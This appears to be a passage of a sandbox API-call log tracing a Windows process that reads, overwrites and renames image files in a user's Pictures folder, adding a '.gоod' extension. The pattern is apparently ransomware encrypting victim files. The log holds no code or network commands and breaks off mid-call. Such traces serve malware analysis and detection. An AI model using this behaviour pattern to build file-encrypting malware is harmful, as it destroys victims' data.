GetFileType (hFile=0x768) returned 0x1 [0172.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0172.724] GetFileType (hFile=0x768) returned 0x1 [0172.724] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0172.724] ReadFile (in: hFile=0x768, lpBuffer=0x351ca08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x351ca08*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0172.724] CloseHandle (hObject=0x768) returned 1 [0172.724] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg", lpFilePart=0x0) returned 0x28 [0172.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0172.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\u7t s8nv9qw.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.724] GetFileType (hFile=0x768) returned 0x1 [0172.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0172.724] GetFileType (hFile=0x768) returned 0x1 [0172.724] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x3148 [0172.725] WriteFile (in: hFile=0x768, lpBuffer=0x351dc68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x351dc68*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0172.725] CloseHandle (hObject=0x768) returned 1 [0172.725] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg", lpFilePart=0x0) returned 0x28 [0172.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0172.725] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\u7t s8nv9qw.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.725] GetFileType (hFile=0x768) returned 0x1 [0172.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0172.725] GetFileType (hFile=0x768) returned 0x1 [0172.725] ReadFile (in: hFile=0x768, lpBuffer=0x351fef0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x351fef0*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0173.033] CloseHandle (hObject=0x768) returned 1 [0173.033] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg", lpFilePart=0x0) returned 0x28 [0173.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0173.033] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\u7t s8nv9qw.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0173.033] GetFileType (hFile=0x768) returned 0x1 [0173.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0173.033] GetFileType (hFile=0x768) returned 0x1 [0173.033] WriteFile (in: hFile=0x768, lpBuffer=0x33b3d50*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x33b3d50*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0173.034] CloseHandle (hObject=0x768) returned 1 [0173.034] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg", lpFilePart=0x0) returned 0x28 [0173.034] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg.gоod", lpFilePart=0x0) returned 0x2d [0173.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0173.034] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\u7t s8nv9qw.jpg"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd8b4260, ftCreationTime.dwHighDateTime=0x1d4c6a9, ftLastAccessTime.dwLowDateTime=0xb4200e0, ftLastAccessTime.dwHighDateTime=0x1d4cfcc, ftLastWriteTime.dwLowDateTime=0x6358f798, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3158)) returned 1 [0173.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0173.034] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\u7t s8nv9qw.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\u7t s8nv9qw.jpg.gоod")) returned 1 [0173.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png", lpFilePart=0x0) returned 0x30 [0173.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0173.035] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ujo8uvypttgckxh8thc.png"), fInfoLevelId=0x0, lpFileInformation=0x3462678 | out: lpFileInformation=0x3462678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d84490, ftCreationTime.dwHighDateTime=0x1d4cf14, ftLastAccessTime.dwLowDateTime=0xfc81baa0, ftLastAccessTime.dwHighDateTime=0x1d4cc74, ftLastWriteTime.dwLowDateTime=0xfc81baa0, ftLastWriteTime.dwHighDateTime=0x1d4cc74, nFileSizeHigh=0x0, nFileSizeLow=0x1090d)) returned 1 [0173.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0173.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png", lpFilePart=0x0) returned 0x30 [0173.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0173.035] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ujo8uvypttgckxh8thc.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0173.036] GetFileType (hFile=0x768) returned 0x1 [0173.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0173.036] GetFileType (hFile=0x768) returned 0x1 [0173.036] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0173.036] ReadFile (in: hFile=0x768, lpBuffer=0x3462a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3462a60*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0173.036] CloseHandle (hObject=0x768) returned 1 [0173.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png", lpFilePart=0x0) returned 0x30 [0173.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0173.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ujo8uvypttgckxh8thc.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0173.036] GetFileType (hFile=0x768) returned 0x1 [0173.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0173.036] GetFileType (hFile=0x768) returned 0x1 [0173.036] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1090d [0173.037] WriteFile (in: hFile=0x768, lpBuffer=0x3463ce0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x3463ce0*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0173.037] CloseHandle (hObject=0x768) returned 1 [0173.037] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png", lpFilePart=0x0) returned 0x30 [0173.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0173.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ujo8uvypttgckxh8thc.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0173.037] GetFileType (hFile=0x768) returned 0x1 [0173.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0173.037] GetFileType (hFile=0x768) returned 0x1 [0173.037] ReadFile (in: hFile=0x768, lpBuffer=0x3465f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x3465f88*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0174.613] CloseHandle (hObject=0x768) returned 1 [0174.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png", lpFilePart=0x0) returned 0x30 [0174.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0174.614] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ujo8uvypttgckxh8thc.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0174.614] GetFileType (hFile=0x768) returned 0x1 [0174.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0174.614] GetFileType (hFile=0x768) returned 0x1 [0174.614] WriteFile (in: hFile=0x768, lpBuffer=0x331d330*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x331d330*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0174.614] CloseHandle (hObject=0x768) returned 1 [0174.615] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png", lpFilePart=0x0) returned 0x30 [0174.615] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png.gоod", lpFilePart=0x0) returned 0x35 [0174.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0174.615] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ujo8uvypttgckxh8thc.png"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d84490, ftCreationTime.dwHighDateTime=0x1d4cf14, ftLastAccessTime.dwLowDateTime=0xfc81baa0, ftLastAccessTime.dwHighDateTime=0x1d4cc74, ftLastWriteTime.dwLowDateTime=0x6449e775, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1091d)) returned 1 [0174.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0174.615] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ujo8uvypttgckxh8thc.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ujo8uvYPTTgcKxh8thC.png.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\ujo8uvypttgckxh8thc.png.gоod")) returned 1 [0174.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg", lpFilePart=0x0) returned 0x2a [0174.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0174.616] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\utzc7b0 sow g.jpg"), fInfoLevelId=0x0, lpFileInformation=0x356a7a8 | out: lpFileInformation=0x356a7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8f2ceb0, ftCreationTime.dwHighDateTime=0x1d4d39f, ftLastAccessTime.dwLowDateTime=0xb1336ad0, ftLastAccessTime.dwHighDateTime=0x1d4cd7d, ftLastWriteTime.dwLowDateTime=0xb1336ad0, ftLastWriteTime.dwHighDateTime=0x1d4cd7d, nFileSizeHigh=0x0, nFileSizeLow=0x14aa1)) returned 1 [0174.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0174.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg", lpFilePart=0x0) returned 0x2a [0174.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0174.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\utzc7b0 sow g.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0174.617] GetFileType (hFile=0x768) returned 0x1 [0174.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0174.617] GetFileType (hFile=0x768) returned 0x1 [0174.617] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0174.617] ReadFile (in: hFile=0x768, lpBuffer=0x356ab60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x356ab60*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0174.617] CloseHandle (hObject=0x768) returned 1 [0174.617] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg", lpFilePart=0x0) returned 0x2a [0174.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0174.779] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0175.416] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\utzc7b0 sow g.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0175.416] GetFileType (hFile=0x630) returned 0x1 [0175.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0175.417] GetFileType (hFile=0x630) returned 0x1 [0175.417] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x14aa1 [0175.419] WriteFile (in: hFile=0x630, lpBuffer=0x361e4a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x361e4a8*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0175.446] CloseHandle (hObject=0x630) returned 1 [0175.446] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg", lpFilePart=0x0) returned 0x2a [0175.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0175.446] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\utzc7b0 sow g.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0175.446] GetFileType (hFile=0x630) returned 0x1 [0175.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0175.447] GetFileType (hFile=0x630) returned 0x1 [0175.447] ReadFile (in: hFile=0x630, lpBuffer=0x36945b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x36945b8*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0175.473] CloseHandle (hObject=0x630) returned 1 [0175.473] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg", lpFilePart=0x0) returned 0x2a [0175.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0175.474] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\utzc7b0 sow g.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0175.474] GetFileType (hFile=0x630) returned 0x1 [0175.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0175.474] GetFileType (hFile=0x630) returned 0x1 [0175.474] WriteFile (in: hFile=0x630, lpBuffer=0x3693340*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3693340*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0175.474] CloseHandle (hObject=0x630) returned 1 [0175.474] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg", lpFilePart=0x0) returned 0x2a [0175.474] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg.gоod", lpFilePart=0x0) returned 0x2f [0175.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0175.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\utzc7b0 sow g.jpg"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8f2ceb0, ftCreationTime.dwHighDateTime=0x1d4d39f, ftLastAccessTime.dwLowDateTime=0xb1336ad0, ftLastAccessTime.dwHighDateTime=0x1d4cd7d, ftLastWriteTime.dwLowDateTime=0x64cd0892, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14ab1)) returned 1 [0175.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0175.474] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\utzc7b0 sow g.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\UTzc7b0 sow g.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\utzc7b0 sow g.jpg.gоod")) returned 1 [0175.475] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg", lpFilePart=0x0) returned 0x27 [0175.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0175.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\x7nkwrn80q.jpg"), fInfoLevelId=0x0, lpFileInformation=0x37108d0 | out: lpFileInformation=0x37108d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1598680, ftCreationTime.dwHighDateTime=0x1d4d00d, ftLastAccessTime.dwLowDateTime=0x67b0d030, ftLastAccessTime.dwHighDateTime=0x1d4d2ed, ftLastWriteTime.dwLowDateTime=0x67b0d030, ftLastWriteTime.dwHighDateTime=0x1d4d2ed, nFileSizeHigh=0x0, nFileSizeLow=0x141bf)) returned 1 [0175.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0175.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg", lpFilePart=0x0) returned 0x27 [0175.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0175.476] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\x7nkwrn80q.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0175.476] GetFileType (hFile=0x630) returned 0x1 [0175.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0175.476] GetFileType (hFile=0x630) returned 0x1 [0175.476] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0175.476] ReadFile (in: hFile=0x630, lpBuffer=0x3710c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3710c68*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0175.476] CloseHandle (hObject=0x630) returned 1 [0175.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg", lpFilePart=0x0) returned 0x27 [0175.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0175.476] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\x7nkwrn80q.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0175.477] GetFileType (hFile=0x630) returned 0x1 [0175.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0175.477] GetFileType (hFile=0x630) returned 0x1 [0175.477] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x141bf [0176.661] WriteFile (in: hFile=0x630, lpBuffer=0x3630c88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x3630c88*, 